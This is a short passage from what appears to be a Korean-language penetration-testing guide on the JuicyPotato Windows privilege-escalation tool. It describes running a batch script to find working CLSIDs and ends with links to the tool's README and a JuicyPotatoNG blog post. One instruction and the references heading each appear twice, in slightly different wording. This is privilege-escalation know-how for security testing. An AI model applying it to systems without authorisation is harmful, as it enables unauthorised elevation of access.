그다음 [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)을 다운로드(클래스ID 목록과 juicypotato 실행 파일의 경로를 변경하세요)하고 실행하세요. 이 스크립트는 모든 CLSID를 차례로 시도하기 시작하며, **포트 번호가 변경되면 그 CLSID가 작동했다는 의미입니다**.
**파라미터 -c를 사용하여** 작동하는 CLSID를 **확인하세요**
**-c 파라미터를 사용하여** 작동하는 CLSID를 **확인**하세요
## 참고자료
## References
- [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)